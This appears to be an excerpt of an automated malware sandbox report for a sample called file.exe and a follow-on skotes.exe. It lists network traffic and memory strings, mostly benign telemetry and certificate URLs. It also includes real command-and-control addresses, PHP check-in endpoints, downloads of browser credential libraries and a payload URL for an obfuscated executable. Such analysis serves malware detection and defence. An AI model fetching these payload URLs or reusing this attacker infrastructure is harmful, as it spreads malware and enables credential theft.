Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /Ropsjsn_Belphegor_obf.exe HTTP/1.1Host: 62.60.153.28

Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log9.8.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log9.8.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log9.8.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4831Host: login.live.com

Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2697626234.0000000001BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2697626234.0000000001BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exev
Source: file.exe, 00000000.00000002.2697626234.0000000001B9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2695816091.0000000001095000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2697626234.0000000001BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dlld
Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2697626234.0000000001BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2697626234.0000000001BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll8
Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllJ
Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2697626234.0000000001BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2697626234.0000000001BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllo
Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllV
Source: file.exe, 00000000.00000002.2736884745.0000000023F14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2736884745.0000000023F14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllM
Source: file.exe, 00000000.00000002.2697626234.0000000001BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/bk=4
Source: file.exe, 00000000.00000002.2736884745.0000000023F30000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpB
Source: file.exe, 00000000.00000002.2695816091.0000000001095000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpj
Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php~
Source: file.exe, 00000000.00000002.2697626234.0000000001B9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206W
Source: file.exe, 00000000.00000002.2695816091.0000000001095000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: skotes.exe, 00000022.00000002.3407191247.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000022.00000002.3407191247.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpt
Source: skotes.exe, 00000022.00000002.3407191247.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.60.153.28/
Source: skotes.exe, 00000022.00000002.3407191247.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.60.153.28//Zu7JuNko/index.php
Source: skotes.exe, 00000022.00000002.3407191247.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.60.153.28/215.113.43/Zu7JuNko/index.php3
Source: skotes.exe, 00000022.00000002.3407191247.00000000013F9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000002.3407191247.0000000001410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.60.153.28/Ropsjsn_Belphegor_obf.exe
Source: skotes.exe, 00000022.00000002.3407191247.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.60.153.28/Ropsjsn_Belphegor_obf.exe&0K
Source: skotes.exe, 00000022.00000002.3407191247.00000000013F9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000002.3407191247.0000000001410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.60.153.28/Ropsjsn_Belphegor_obf.exe1
Source: skotes.exe, 00000022.00000002.3407191247.0000000001410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.60.153.28/Ropsjsn_Belphegor_obf.exe17j
Source: skotes.exe, 00000022.00000002.3407191247.0000000001410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.60.153.28/Ropsjsn_Belphegor_obf.exeEj
Source: skotes.exe, 00000022.00000002.3407191247.0000000001410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.60.153.28/Ropsjsn_Belphegor_obf.exeXc
Source: skotes.exe, 00000022.00000002.3407191247.0000000001410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.60.153.28/Ropsjsn_Belphegor_obf.exed
Source: skotes.exe, 00000022.00000002.3407191247.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.60.153.28/Ropsjsn_Belphegor_obf.exeeH0
Source: skotes.exe, 00000022.00000002.3407191247.0000000001410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.60.153.28/Ropsjsn_Belphegor_obf.exeij
Source: skotes.exe, 00000022.00000002.3407191247.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://62.60.153.28/Ropsjsn_Belphegor_obf.exet0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_506.4.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2747467105.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2732650987.000000001DEE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp, AECAKECA.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_506.4.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: c7e6d3e3-e840-42b0-8d27-6aace4e63d87.tmp.9.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2736884745.0000000023F14000.00000004.00000020.00020000.00000000.sdmp, DHCGIDHDAKJECBFHCBAA.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2736884745.0000000023F14000.00000004.00000020.00020000.00000000.sdmp, DHCGIDHDAKJECBFHCBAA.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.9.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp, AECAKECA.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2475374366.0000000023EBF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp, AECAKECA.0.dr, CBFBGCGI.0.dr, Web Data.8.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2475374366.0000000023EBF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp, AECAKECA.0.dr, CBFBGCGI.0.dr, Web Data.8.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.8.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.8.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 875c6bc4-0044-46b1-9b97-b67ca0193969.tmp.9.dr, c7e6d3e3-e840-42b0-8d27-6aace4e63d87.tmp.9.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.8.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 875c6bc4-0044-46b1-9b97-b67ca0193969.tmp.9.dr, c7e6d3e3-e840-42b0-8d27-6aace4e63d87.tmp.9.dr	String found in binary or memory: https://clients2.googleusercontent.com
